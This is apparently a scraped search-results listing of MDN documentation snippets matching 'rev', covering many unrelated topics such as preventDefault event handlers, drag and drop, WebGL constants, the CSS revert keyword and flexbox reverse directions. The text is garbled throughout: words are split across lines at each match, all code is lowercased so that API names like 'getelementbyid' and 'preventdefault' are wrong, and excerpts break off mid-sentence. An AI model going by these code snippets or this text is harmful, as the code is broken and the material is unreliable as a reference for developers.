reventdefault(); listing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped from event.datatransfer.items.
... then we call event.p
reventdefault() to p
revent the event from being handled further after we're done.
GlobalEventHandlers.oncontextmenu - Web APIs
unless the default behavior is p
revented, the browser context menu will activate.
... examples disabling context menus this snippet p
revents context menus from opening in the window.
...is it disabled?<p> javascript window.oncontextmenu = (e) => { e.p
reventdefault(); } result pausing an animation this example pauses a spinning shape whenever you open the context menu.
HTMLAnchorElement - Web APIs
htmlanchorelement.
rev is a domstring representing that the
rev html attribute, specifying the relationship of the link object to the target object.
... note: currently the w3c html 5.2 spec states that
rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete.
... the following properties are now obsolete: charset, coords, name,
rev, and shape.
HTMLElement: pointercancel event - Web APIs
bubbles yes cancelable no interface pointe
revent event handler property onpointercancel some examples of situations that will trigger a pointercancel event: a hardware event occurs that cancels the pointer activities.
...this can happen if, for example, the hardware supports palm rejection to p
revent a hand resting on the display while using a stylus from accidentally triggering events.
... the touch-action css property p
revents the input from continuing.
HTMLFormElement: submit event - Web APIs
in this case, the validation p
revents form submission, and thus there is no submit event.
... examples this example uses eventtarget.addeventlistener() to listen for form submit, and logs the current event.timestamp whenever that occurs, then p
revents the default action of submitting the form.
...time stamp: ${event.timestamp}`; event.p
reventdefault(); } const form = document.getelementbyid('form'); const log = document.getelementbyid('log'); form.addeventlistener('submit', logsubmit); result specifications specification status comment html living standardthe definition of 'submit' in that specification.
HTMLLinkElement - Web APIs
htmllinkelement.
rev is a domstring representing the
reverse relationship of the linked resource from the resource to the document.
... note: currently the w3c html 5.2 spec states that
rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete.
... recommendation the following properties are now obsolete: charset,
rev, and shape.
File drag and drop - Web APIs
function drophandler(ev) { console.log('file(s) dropped'); // p
revent default behavior (p
revent file from being opened) ev.p
reventdefault(); if (ev.datatransfer.items) { // use datatransferitemlist interface to access the file(s) for (var i = 0; i < ev.datatransfer.items.length; i++) { // if dropped items aren't files, reject them if (ev.datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); ...
...file[' + i + '].name = ' + ev.datatransfer.files[i].name); } } } p
revent the browser's default drag behavior the following dragover event handler calls p
reventdefault() to turn off the browser's default drag and drop handler.
... function dragoverhandler(ev) { console.log('file(s) in drop zone'); // p
revent default behavior (p
revent file from being opened) ev.p
reventdefault(); } see also html drag and drop api drag operations html5 living standard: drag and drop ...
HTML Drag and Drop API - Web APIs
function dragstart_handler(ev) { ev.datatransfer.dropeffect = "copy"; } for more details, see: drag effects define a drop zone by default, the browser p
revents anything from happening when dropping something onto most html elements.
... <script> function dragover_handler(ev) { ev.p
reventdefault(); ev.datatransfer.dropeffect = "move"; } function drop_handler(ev) { ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom const data = ev.datatransfer.getdata("text/plain"); ev.target.appendchild(document.getelementbyid(data)); } </script> <p id="target" ondrop="drop_handler(event)" ondragover="dragover_handler(event)">drop zone</p> note that each handler calls p
reventdefault() to p
revent additional event processing for...
...lowing example shows a drop handler getting the source element's id from the drag data, and then using the id to move the source element to the drop element: <script> function dragstart_handler(ev) { // add the target element's id to the data transfer object ev.datatransfer.setdata("application/my-app", ev.target.id); ev.datatransfer.dropeffect = "move"; } function dragover_handler(ev) { ev.p
reventdefault(); ev.datatransfer.dropeffect = "move" } function drop_handler(ev) { ev.p
reventdefault(); // get the id of the target and add the moved element to the target's dom const data = ev.datatransfer.getdata("application/my-app"); ev.target.appendchild(document.getelementbyid(data)); } </script> <p id="p1" draggable="true" ondragstart="dragstart_handler(event)">this element is draggable.
History - Web APIs
back() this asynchronous method goes to the p
revious page in session history, the same action as when the user clicks the browser's back button.
... go() asynchronously loads a page from the session history, identified by its relative location to the current page, for example -1 for the p
revious page or 1 for the next page.
... if you specify an out-of-bounds value (for instance, specifying -1 when there are no p
reviously-visited pages in the session history), this method silently has no effect.
IDBCursor.continuePrimaryKey() - Web APIs
a typical use case, is to resume the iteration where a p
revious cursor has been closed, without having to compare the keys one by one.
... the key is greater than or equal to this cursor's position and this cursor's direction is p
rev or p
revunique.
... invalidaccesserror the cursor's direction is not p
rev or next.
KeyboardEvent: code values - Web APIs
"" 0x007d "intlyen" "intlyen" 0x007e "numpadcomma" "" 0x007f "unidentified" "" 0xe000 ~ 0xe007 "unidentified" "" 0xe008 "unidentified" "undo" 0xe009 "unidentified" "" 0xe00a "" "paste" 0xe00b ~ 0xe00f "" "" 0xe010 "mediatrackp
revious" "mediatrackp
revious" 0xe011 ~ 0xe016 "" "" 0xe017 "unidentified" "cut" 0xe018 "unidentified" "copy" 0xe019 "mediatracknext" "mediatracknext" 0xe01a, 0xe01b "unidentified" "" 0xe01c "numpadenter" "numpadenter" 0xe01d "controlright" "controlright" 0x...
... "browserfavorites" "" 0x00a5 "unidentified" "" 0x00a6 "browserback" "browserback" 0x00a7 "browserforward" "browserforward" 0x00a8 "unidentified" "" 0x00a9 "eject" "" 0x00aa "unidentified" "" 0x00ab "mediatracknext" "" 0x00ac "mediaplaypause" "" 0x00ad "mediatrackp
revious" "" 0x00ae "mediastop" "" 0x00af ~ 0x00b2 "unidentified" "" 0x00b3 "launchmediaplayer" "" 0x00b4 "browserhome" "" 0x00b5 "browserrefresh" "browserrefresh" 0x00b6 ~ 0x00ba "unidentified" "" 0x00bb "unidentified" "numpadparenleft" 0x00bc "unidentified" ...
...0x009b "unidentified" 0x009c "browserfavorites" 0x009d "unidentified" 0x009e "browserback" 0x009f "browserforward" 0x00a0 "unidentified" 0x00a1 "eject" 0x00a2 "unidentified" 0x00a3 "mediatracknext" 0x00a4 "mediaplaypause" 0x00a5 "mediatrackp
revious" 0x00a6 "mediastop" 0x00a7 ~ 0x00ac "unidentified" 0x00ad "browserrefresh" 0x00ae ~ 0x00b6 "unidentified" 0x00b7 "f13" 0x00b8 "f14" 0x00b9 "f15" 0x00ba "f16" 0x00bb "f17" 0x00bc "f18" 0x00bd "f19" 0x00be "f20" 0x00bf "f21" ...
KeyboardEvent.key - Web APIs
for a given key press, the sequence of keyboardevents fired is as follows assuming that event.p
reventdefault is not called: a keydown event is first fired.
... window.addeventlistener("keydown", function (event) { if (event.defaultp
revented) { return; // do nothing if the event was already processed } switch (event.key) { case "down": // ie/edge specific value case "arrowdown": // do something for "down arrow" key press.
... } // cancel the default action to avoid it being handled twice event.p
reventdefault(); }, true); specification specification status comment ui eventsthe definition of 'keyboardevent.key' in that specification.
MSGestureEvent - Web APIs
msgestureevent.rotation read only amount of rotation (in radians) since the p
revious msgestureevent of the current gesture.
... msgestureevent.scale read only the difference in scale (for zoom gestures) from the p
revious msgestureevent of the current gesture.
... msgestureevent.translationx read only distance traversed along the x-axis since the p
revious msgestureevent of the current gesture msgestureevent.translationy read only distance traversed along the y-axis since the p
revious msgestureevent of the current gesture msgestureevent.velocityangular read only angular velocity.
MediaDevices.getUserMedia() - Web APIs
possible errors are: aborterror although the user and operating system both granted access to the hardware device, and no hardware issues occurred that would cause a notreadableerror, some problem occurred which p
revented the device from being used.
... notreadableerror although the user granted permission to use the matching devices, a hardware error occurred at the operating system, browser, or web page level which p
revented access to the device.
... getusermedia() is a powerful feature which can only be used in secure contexts; in insecure contexts, navigator.mediadevices is undefined, p
reventing access to getusermedia().
MediaSession.setActionHandler() - Web APIs
it will be one of play, pause, seekbackward, seekforward, seekto, skipad,p
revioustrack, or nexttrack.
... description to remove a p
reviously-established action handler, call setactionhandler() again, specifying null as the callback.
... p
revioustrack moves back to the p
revious track.
MouseEvent - Web APIs
instead of using this deprecated (and non-standard) property, you should instead use pointe
revent and look at its pressure property.
...<p><label><input type="checkbox" id="checkbox"> checked</label> <p><button id="button">click me</button> javascript function simulateclick() { var evt = new mouseevent("click", { bubbles: true, cancelable: true, view: window }); var cb = document.getelementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called p
reventdefault alert("canceled"); } else { // none of the handlers called p
reventdefault alert("not canceled"); } } document.getelementbyid("button").addeventlistener('click', simulateclick); result specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
...this means that a pointe
revent whose pointertype is mouse will be a double.
NodeIterator - Web APIs
p
reviously it was telling the engine that the nodeiterator was no more used, but this is now useless.
... nodeiterator.p
reviousnode() returns the p
revious node in the document, or null if there are none.
... the methods p
reviousnode() and nextnode() don't raise an exception any more.
PerformanceNavigationTiming.unloadEventEnd - Web APIs
the unloadeventend read-only property returns a timestamp representing the time value equal to the time immediately after the user agent finishes the unload event of the p
revious document.
... if there is no p
revious document, this property value is 0.
... syntax perfentry.unloadeventend; return value a timestamp representing a time value equal to the time immediately after the user agent finishes the unload event of the p
revious document.
PerformanceNavigationTiming.unloadEventStart - Web APIs
the unloadeventstart read-only property returns a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the p
revious document.
... if there is no p
revious document, this property returns 0.
... syntax perfentry.unloadeventstart; return value a timestamp representing the time value equal to the time immediately before the user agent starts the unload event of the p
revious document.
SpeechSynthesisUtterance - Web APIs
error fired when an error occurs that p
revents the utterance from being succesfully spoken.
... inside the inputform.onsubmit handler, we stop the form submitting with p
reventdefault(), use the constructor to create a new utterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method.
...= document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); for(var i = 0; i < voices.length; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; option.value = i; voiceselect.appendchild(option); } inputform.onsubmit = function(event) { event.p
reventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); utterthis.voice = voices[voiceselect.value]; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesisutterance' in that specification.
Storage Access API - Web APIs
this also p
revents embedded content on the page from spamming the browser or user with excessive access requests.
...prompting heuristics currently vary across the two implementers of the storage access api — safari shows prompts for all embedded tracking content that has not p
reviously received storage access, while firefox only prompts users after a tracking origin has requested storage access on more than a threshold number of sites.
... if an embedded page from tracker.example has p
reviously successfully obtained storage access on top-level origin foo.example, all embedded subresources from tracker.example on foo.example (e.g.
Using readable streams - Web APIs
also note that the p
revious example can be reduced by one step, as response.body is synchronous and so doesn't need the promise: // fetch the original image fetch('./tortoise.png') // retrieve its body as readablestream .then(response => { const reader = response.body.getreader(); reading the stream now you’ve got your reader attached, you can read data chunks out of the stream using the readablestreamdef...
... in addition, when we are done reading the fetch body we use the controller’s close() method to close the custom stream — any p
reviously-enqueued chunks can still be read from it, but no more can be enqueued, and the stream is closed when reading has finished.
...as we said before, any p
reviously enqueued chunks will still be read, but no more can be enqueued because it is closed.
Supporting both TouchEvent and MouseEvent - Web APIs
consequently, if an application does not want mouse events fired on a specific touch target element, the element's touch event handlers should call p
reventdefault() and no additional mouse events will be dispatched.
... here is a code snippet of the touchmove event handler calling p
reventdefault().
... // touchmove handler function process_touchmove(ev) { // call p
reventdefault() to p
revent any further handling ev.p
reventdefault(); } event order although the specific ordering of touch and mouse events is implementation-defined, the standard indicates the following order is typical: for single input: touchstart zero or more touchmove events, depending on movement of the finger(s) touchend mousemove mousedown mouseup click if the touchstart, touchmove or touchend event is canceled during an interaction, no mouse or click events will be fired, and the resulting sequence of events would just be: touchstart zero or more touchmove events, depending on movement of the finger(s) touchend community touch events community group mail list w3c #touchevents irc channel ...
Using Touch Events - Web APIs
to p
revent the emulated mouse events from being sent, use the p
reventdefault() method in the touch event handlers.
... // create touchstart handler someelement.addeventlistener('touchstart', function(ev) { // iterate through the touch points that were activated // for this element and process each event 'target' for (var i=0; i < ev.targettouches.length; i++) { process_target(ev.targettouches[i].target); } }, false); p
revent the browser from processing emulated mouse events.
... // touchmove handler function process_touchmove(ev) { // set call p
reventdefault() ev.p
reventdefault(); } best practices here are some best practices to consider when using touch events: minimize the amount of work that is done in the touch handlers.
WebGLRenderingContext.blendEquationSeparate() - Web APIs
must be either: gl.func_add: source + destination (default value), gl.func_subtract: source - destination, gl.func_
reverse_subtract: destination - source, when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination.
...must be either: gl.func_add: source + destination (default value), gl.func_subtract: source - destination, gl.func_
reverse_subtract: destination - source, when using the ext_blend_minmax extension: ext.min_ext: minimum of source and destination, ext.max_ext: maximum of source and destination.
... examples to set the blend equations, use: gl.blendequationseparate(gl.func_add, gl.func_subtract); to get the current blend equations, query the blend_equation, blend_equation_rgb and blend_equation_alpha constants which return gl.func_add, gl.func_subtract, gl.func_
reverse_subtract, or if the ext_blend_minmax is enabled: ext.min_ext or ext.max_ext.
Raining rectangles - Web APIs
« p
reviousnext » a simple webgl game that demonstrates clearing with solid colors, scissoring, animation, and user interaction.
...it is a p
review of a full graphical application that manipulates various phases of the webgl graphics pipeline and state machine.
... « p
reviousnext » ...
WebGL constants - Web APIs
each vertex connects to the p
revious and the first vertex in the fan.
... func_
reverse_subtract 0x800b passed to blendequation or blendequationseparate to specify a
reverse subtraction blend function (destination - source).
... rg32ui 0x823c r8_snorm 0x8f94 rg8_snorm 0x8f95 rgb8_snorm 0x8f96 rgba8_snorm 0x8f97 rgb10_a2ui 0x906f texture_immutable_format 0x912f texture_immutable_levels 0x82df pixel types constant name value description unsigned_int_2_10_10_10_
rev 0x8368 unsigned_int_10f_11f_11f_
rev 0x8c3b unsigned_int_5_9_9_9_
rev 0x8c3e float_32_unsigned_int_24_8_
rev 0x8dad unsigned_int_24_8 0x84fa half_float 0x140b rg 0x8227 rg_integer 0x8228 int_2_10_10_10_
rev 0x8d9f queries constant name val...
Animating textures in WebGL - Web APIs
« p
revious in this demonstration, we build upon the p
revious example by replacing our static textures with the frames of an mp4 video file that's playing.
...it's nearly identical to the image onload function in the p
revious example — except when we call teximage2d(), instead of passing an image object, we pass in the <video> element.
... then in main() in place of the call to loadtexture() in the p
revious example, we call inittexture() followed by setupvideo() .
WebRTC connectivity - Web APIs
for example, when renegotiating a connection—for example, to adapt to changing hardware or network configurations—it's possible that negotiation could reach a dead end, or some form of error might occur that p
revents negotiation at all.
... in addition, the ice agent will automatically initiate a rollback when a peer that had p
reviously created an offer receives an offer from the remote peer.
... in other words, if the local peer is in the state have-local-offer, indicating that the local peer had p
reviously sent an offer, calling setremotedescription() with a received offer triggers rollback so that the negotiation switches from the remote peer being the caller to the local peer being the caller.
Introduction to WebRTC protocols - Web APIs
it needs to bypass firewalls that would p
revent opening connections, give you a unique address if like most situations your device doesn’t have a public ip address, and relay data through a server if your router doesn’t allow you to directly connect with peers.
... stun session traversal utilities for nat (stun) (acronym within an acronym) is a protocol to discover your public address and determine any restrictions in your router that would p
revent a direct connection with a peer.
...this means the router will only accept connections from peers you’ve p
reviously connected to.
Writing WebSocket servers - Web APIs
websocket servers are often separate and specialized servers (for load-balancing or other practical reasons), so you will often use a
reverse proxy (such as a regular http server) to detect websocket handshakes, pre-process them, and send those clients to a real websocket server.
...in many common setups, a
reverse proxy has already dealt with them.
...client: fin=0, opcode=0x1, msg="and a" server: (listening, new message containing text started) client: fin=0, opcode=0x0, msg="happy new" server: (listening, payload concatenated to p
revious message) client: fin=1, opcode=0x0, msg="year!" server: (process complete message) happy new year to you too!
Using bounded reference spaces - Web APIs
there are many uses for bounded reference spaces, including projects such as virtual paint studios or 3d construction, modeling, or sculpting systems; training simulations or lesson scenarios; dance or other performance-based games; or the p
review of 3d objects in the real world using augmented reality.
... understanding boundaries as mentioned p
reviously, the boundary is defined as an array of points located at floor level, each defining a corner of the boundary area, going around the origin in a clockwise manner.
...this approximates human height, though it assumes we've p
reviously transformed the coordinate system so that the value of each coordinate is no longer constrained to -1 to 1, while maintaining the definition that a value of 1 represents one meter).
Starting up and shutting down a WebXR session - Web APIs
permissions and security there are a number of security measures in place
revolving around webxr.
... detecting when the session has ended as p
reviously established, you can detect when the webxr session has ended—whether because you've called its end() method, the user turned off their headset, or some sort of irresolvable error occurred in the xr system—by watching for the end event to be sent to the xrsession.
... session.onend = (event) => { /* the session has shut down */ freeresources(); }; here, when the session has ended and the end event is received, a freeresources() function is called to release the resources p
reviously allocated and/or loaded to handle the xr presentation.
Advanced techniques: Creating and sequencing audio - Web APIs
let bandpass = audioctx.createbiquadfilter(); bandpass.type = 'bandpass'; bandpass.frequency.value = 1000; // connect our graph noise.connect(bandpass).connect(audioctx.destination); noise user controls on the ui we'll expose the noise duration and the frequency we want to band, allowing the user to adjust them via range inputs and event handlers just like in p
revious sections: <label for="duration">duration</label> <input name="duration" id="duration" type="range" min="0" max="2" value="1" step="0.1" /> <label for="band">band</label> <input name="band" id="band" type="range" min="400" max="1200" value="1000" step="5" /> let noiseduration = 1; const durcontrol = document.queryselector('#duration'); durcontrol.addeventlistener('input', function() { ...
...tion nextnote() { const secondsperbeat = 60.0 / tempo; nextnotetime += secondsperbeat; // add beat length to last beat time // advance the beat number, wrap to zero currentnote++; if (currentnote === 4) { currentnote = 0; } } we want to create a reference queue for the notes that are to be played, and the functionality to play them using the functions we've p
reviously created: const notesinqueue = []; function schedulenote(beatnumber, time) { // push the note on the queue, even if we're not playing.
...() } if (pads[2].queryselectorall('button')[currentnote].getattribute('aria-checked') === 'true') { playnoise() } if (pads[3].queryselectorall('button')[currentnote].getattribute('aria-checked') === 'true') { playsourcenode(audioctx, sample); } } here we look at the current time and compare it to the time for the next note; when the two match it will call the p
revious two functions.
Web Audio API - Web APIs
a simple, typical workflow for web audio would look something like this: create audio context inside the context, create sources — such as <audio>, oscillator, stream create effects nodes, such as
reverb, biquad filter, panner, compressor choose final destination of audio, for example your system speakers connect the sources up to the effects, and the effects to the destination.
... convolvernode the convolvernode interface is an audionode that performs a linear convolution on a given audiobuffer, and is often used to achieve a
reverb effect.
... dynamicscompressornode the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help p
revent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
WindowEventHandlers.onbeforeunload - Web APIs
the html specification states that authors should use the event.p
reventdefault() method instead of using event.returnvalue to prompt the user.
... window.addeventlistener('beforeunload', function (e) { // cancel the event e.p
reventdefault(); // if you p
revent default behavior in mozilla firefox prompt will always be shown // chrome requires returnvalue to be set e.returnvalue = ''; }); guarantee the browser unload by removing the returnvalue property of the event window.addeventlistener('beforeunload', function (e) { // the absence of a returnvalue property on the event will guarantee the browser unload happens delete e['returnvalue']; }); notes when your page uses javascript to render content, the javascript may stop when leaving and then navigating back to the page.
... you can bind to window.onbeforeunload to p
revent the browser from fully caching the page.
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
note also that we set oncontextmenu up to be ignored by calling p
reventdefault() on those events.
... this p
revents the right-clicks from causing the context menu from appearing in the browser.
... canvas.oncontextmenu = (event) => { event.p
reventdefault(); }; canvas.addeventlistener("mousemove", (event) => { if (event.buttons & 2) { rotateviewby(event.movementx, event.movementy); } }); next, the rotateviewby() function, which updates the mouse look direction's yaw and pitch based on the mouse delta values from the mousemove event.
XRReferenceSpace: reset event - Web APIs
note: a reset event will not occur if the reference space is able to regain tracking of its p
revious origin, since that means the origin has not been forced to be relocated.
...if a jump in the viewer's position coincides with emulatedposition toggling from true to false, the viewer has regained tracking, and that their new position represents a correction from the p
reviously emulated values.
...instead of allowing this to happen, you can integrate the emulatedposition into the teleportation offset calculated prior to calling getoffsetreferencespace() to create a new reference space whose updated effective origin is adjusted by the distance the viewer's position jumped since the p
revious frame.
XRSystem - Web APIs
usage notes thsi interface was p
reviously known as simply xr in earlier versions of the specification; if you see references to xr in code or documentation, simply replace that with xrsystem.
...er("click", onbuttonclicked); navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { immersivebutton.disabled = false; } else { immersivebutton.disabled = true; }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then(() => { // onsessionstarted() not shown for reasons of b
revity and clarity.
...if immersive vr isn't available, the button is disabled to p
revent its use.
ARIA annotations - Accessibility
an editorial comment related to a part of a document under
review).
... role="comment" — semantically denotes a comment/reaction to some content on the page, or to a p
revious comment.
...ple: <input type="radio" name="fruit" value="apple"></label></li> <li><label>orange: <input type="radio" name="fruit" value="orange"></label></li> <li><label>banana: <input type="radio" name="fruit" value="banana"></label></li> </ul> </form> </section> insertions and deletions a common wish in online document systems like google docs is to be able to track changes, to see what
reviewers or editors have suggested as changes to the text, before the managing editor or author accepts or rejects those changes.
Accessibility: What users can do to browse more safely - Accessibility
taking advantage of personalization settings can help p
revent exposure to content leading to seizures and / or other physical reactions.
...examples include: transitionrun transitionstart transitionend transitioncancel edge 75 and above (desktop, in windows 10) according to eric bailey, in his april 30, 2019 article
revisiting prefers-reduced-motion, the reduced motion media query, "while microsoft edge does not have support for prefers-reduced-motion, it will become chrome under the hood soon." safari 10.1 and above (desktop) do not enable auto-play (does not work for gifs) ios safari 10.3 and above (mobile and tablet) select the "reduce motion option" in os accessibility settings for apple (image source: ...
...to
reverse it, you will have to change the value back to "normal" use browser extensions gif blocker for chrome, gif blocker is an extension available at the web store.
Accessibility and Spacial Patterns - Accessibility
they
revised the guidelines to their fundamental core, and came up with a surprisingly simple, but powerful test.
... which they published in the paper, characterizing the patterned images that precipitate seizures and optimizing guidelines to p
revent them the steps necessary to evaluate material reduce to the following: look at the screen are there more than five stripes?
...in brailleblaster (4 of 5) government literature nasa: designing with blue math spatial reasoning: why math talk is about more than numbers scientific literature colour constancy in context: roles for local adaptation and levels of reference gamma oscillations and photosensitive epilepsy characterizing the patterned images that precipitate seizures and optimizing guidelines to p
revent them arnold wilkins, john emmett, and graham harding contributers: heartfelt thanks to jim allan of the diagram center for his discussions on the topic of alternative means of education.
@media - CSS: Cascading Style Sheets
print intended for paged material and documents viewed on a screen in print p
review mode.
... because of this potential, a browser may opt to fudge the returned values in some manner in order to p
revent them from being used to precisely identify a computer.
... css level 2 (
revision 1)the definition of '@media' in that specification.
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
if flex-direction is set to row-
reverse then the items will start from the end edge of the container and lay themselves out in
reverse ordered lines.
... note that the
reversing is only happening in the inline, row direction.
...we aren’t
reversing in both directions, starting from the bottom coming up the container!
Cross-browser Flexbox mixins - CSS: Cascading Style Sheets
values: row (default) | row-
reverse | column | column-
reverse spec: https://drafts.csswg.org/css-flexbox/#flex-direction-property @mixin flex-direction($value: row) { @if $value == row-
reverse { -webkit-box-direction:
reverse; -webkit-box-orient: horizontal; -moz-box-direction:
reverse; -moz-box-orient: horizontal; } @else if $value == column { -webkit-box-direction: normal; -webkit-box-orient: v...
...ertical; -moz-box-direction: normal; -moz-box-orient: vertical; } @else if $value == column-
reverse { -webkit-box-direction:
reverse; -webkit-box-orient: vertical; -moz-box-direction:
reverse; -moz-box-orient: vertical; } @else { -webkit-box-direction: normal; -webkit-box-orient: horizontal; -moz-box-direction: normal; -moz-box-orient: horizontal; } -webkit-flex-direction: $value; -ms-flex-direction: $value; flex-direction: $value; } // shorter version: @mixin flex-dir($args...) { @include flex-direction($args...); } flexbox wrap the flex-wrap property controls whether the flex container is single-lined or multi-lined and the direction of the cross-axis, which determines the direction in which the new lines are stacked in.
... values: nowrap (default) | wrap | wrap-
reverse spec: https://drafts.csswg.org/css-flexbox/#flex-wrap-property @mixin flex-wrap($value: nowrap) { // no webkit/ff box fallback.
OpenType font features guide - CSS: Cascading Style Sheets
try changing the line font-variant-alternates: styleset(alt-a); to font-variant-alternates: styleset(alt-g); and notice that the lower case 'a'
reverts to its regular form and the lower case 'g' changes instead.
...these are capital letters sized to fit better amongst lower case letters and are generally used for acronyms and abb
reviations.
...because of this, it's best to use the standard properties shown above whe
rever possible.
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
they p
revent the browser being able to do the work to switch writing mode, as they make the assumption that the text is flowing left to right and top to bottom.
...we need a new reference point, and this is where understanding the block and inline axes, that we met p
reviously in the guide to alignment, becomes very useful.
...so the
reverse of what we do for margins and padding.
Introducing the CSS Cascade - CSS: Cascading Style Sheets
all lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the p
revious level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.
... specifications specification status comment css cascading and inheritance level 4 candidate recommendation added the
revert keyword, which allows rolling a property back a cascade level.
... css level 2 (
revision 1)the definition of 'the cascade' in that specification.
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
width: 75px; } .four { color: white; background-color: var(--main-bg-color); margin: 10px; width: 100px; } .five { background-color: var(--main-bg-color); } <div> <div class="one"></div> <div class="two">text <span class="five">- more text</span></div> <input class="three"> <textarea class="four">lorem ipsum</textarea> </div> this leads to the same result as the p
revious example, yet allows for one canonical declaration of the desired property value; very useful if you want to change the value across the entire page later.
...the p
revious declaration will then be used.
... // get variable from inline style element.style.getpropertyvalue("--my-var"); // get variable from whe
rever getcomputedstyle(element).getpropertyvalue("--my-var"); // set variable on inline style element.style.setproperty("--my-var", jsvar + 4); ...
animation-fill-mode - CSS: Cascading Style Sheets
the last keyframe depends on the value of animation-direction and animation-iteration-count: animation-direction animation-iteration-count last keyframe encountered normal even or odd 100% or to
reverse even or odd 0% or from alternate even 0% or from alternate odd 100% or to alternate-
reverse even 100% or to alternate-
reverse odd 0% or from backwards the animation will apply the values defined in the first relevant keyframe as soon as it is applied to the target, and retain this during the a...
...the first relevant keyframe depends on the value of animation-direction: animation-direction first relevant keyframe normal or alternate 0% or from
reverse or alternate-
reverse 100% or to both the animation will follow the rules for both forwards and backwards, thus extending the animation properties in both directions.
...it demonstrates how, for an animation that runs for an infinite time, you can cause it to remain in its final state rather than
reverting to the original state (which is the default).
box-lines - CSS: Cascading Style Sheets
if the children in a horizontal box still do not fit on a line after being reduced to their minimum widths, then children are moved one by one onto a new line, until the elements remaining on the p
revious line fit.
...the later lines are placed below the earlier lines in normal direction boxes and above in
reverse direction boxes.
...later lines in normal direction boxes are placed to the right of earlier lines and to the left in
reverse direction boxes.
Computed value - CSS: Cascading Style Sheets
it is calculated from the specified value by: handling the special values inherit, initial, unset, and
revert.
... specifications specification status comment css level 2 (
revision 2)the definition of 'computed-value' in that specification.
... css level 2 (
revision 1)the definition of 'computed value' in that specification.
<custom-ident> - CSS: Cascading Style Sheets
it is case-sensitive, and certain values are forbidden in various contexts to p
revent ambiguity.
... to p
revent ambiguity, each property that uses <custom-ident> forbids the use of specific values: animation-name forbids the global css values (unset, initial, and inherit), as well as none.
... css level 2 (
revision 1)the definition of '<identifier>' in that specification.
flex-flow - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: flex-direction flex-wrap syntax /* flex-flow: <'flex-direction'> */ flex-flow: row; flex-flow: row-
reverse; flex-flow: column; flex-flow: column-
reverse; /* flex-flow: <'flex-wrap'> */ flex-flow: nowrap; flex-flow: wrap; flex-flow: wrap-
reverse; /* flex-flow: <'flex-direction'> and <'flex-wrap'> */ flex-flow: row nowrap; flex-flow: column wrap; flex-flow: column-
reverse wrap-
reverse; /* global values */ flex-flow: inherit; flex-flow: initial; flex-flow: unset; values see flex-direction and f...
... formal definition initial valueas each of the properties of the shorthand:flex-direction: rowflex-wrap: nowrapapplies toflex containersinheritednocomputed valueas each of the properties of the shorthand:flex-direction: as specifiedflex-wrap: as specifiedanimation typediscrete formal syntax <'flex-direction'> | <'flex-wrap'> examples setting column-
reverse and wrap element { /* main-axis is the block direction with
reversed main-start and main-end.
... flex items are laid out in multiple lines */ flex-flow: column-
reverse wrap; } specifications specification status comment css flexible box layout modulethe definition of 'flex-flow' in that specification.
ime-mode - CSS: Cascading Style Sheets
this property should only be used for private web applications or to undo the property if it was p
reviously set by legacy code.
...users may correct the inappropriate behavior of sites that don't follow this recommendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the p
revious state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value.
... <input type="text" name="name" value="initial value" style="ime-mode: disabled"> note: you shouldn't rely on disabling ime to p
revent extended characters from passing through your form.
initial - CSS: Cascading Style Sheets
you should consider using the inherit, unset, or
revert keywords instead.
... use
revert to reset a property to the value established by the user-agent stylesheet (or by user styles, if any exist).
... the all property lets you reset all properties to their initial, inherited,
reverted, or unset state at once.
offset-rotate - CSS: Cascading Style Sheets
syntax /* follow the path direction, with optional additional angle */ offset-rotate: auto; offset-rotate: auto 45deg; /* follow the path direction but facing the opposite direction of `auto` */ offset-rotate:
reverse; /* keep a constant rotation regardless the position on the path */ offset-rotate: 90deg; offset-rotate: .5turn; auto the element is rotated by the angle of the direction of the offset-path, relative to the positive x-axis.
...
reverse the element is rotated similar to auto, except it faces the opposite direction.
... formal definition initial valueautoapplies totransformable elementsinheritednocomputed valueas specifiedanimation typeas <angle>, <basic-shape> or <path()> formal syntax [ auto |
reverse ] | <angle> examples setting element orientation along its offset path html <div></div> <div></div> <div></div> css div { width: 40px; height: 40px; background: #2bc4a2; margin: 20px; clip-path: polygon(0% 0%, 70% 0%, 100% 50%, 70% 100%, 0% 100%, 30% 50%); animation: move 5000ms infinite alternate ease-in-out; offset-path: path('m20,20 c20,50 180,-10 180,20'); } div:nth-child(1) { offset-rotate: auto; } div:nth-child(2) { offset-rotate: auto 90deg; } div:nth-child(3) { offset-rotate: 30deg; } @keyframes move { 100% { ...
overscroll-behavior - CSS: Cascading Style Sheets
none no scroll chaining occurs to neighbouring scrolling areas, and default scroll overflow behavior is p
revented.
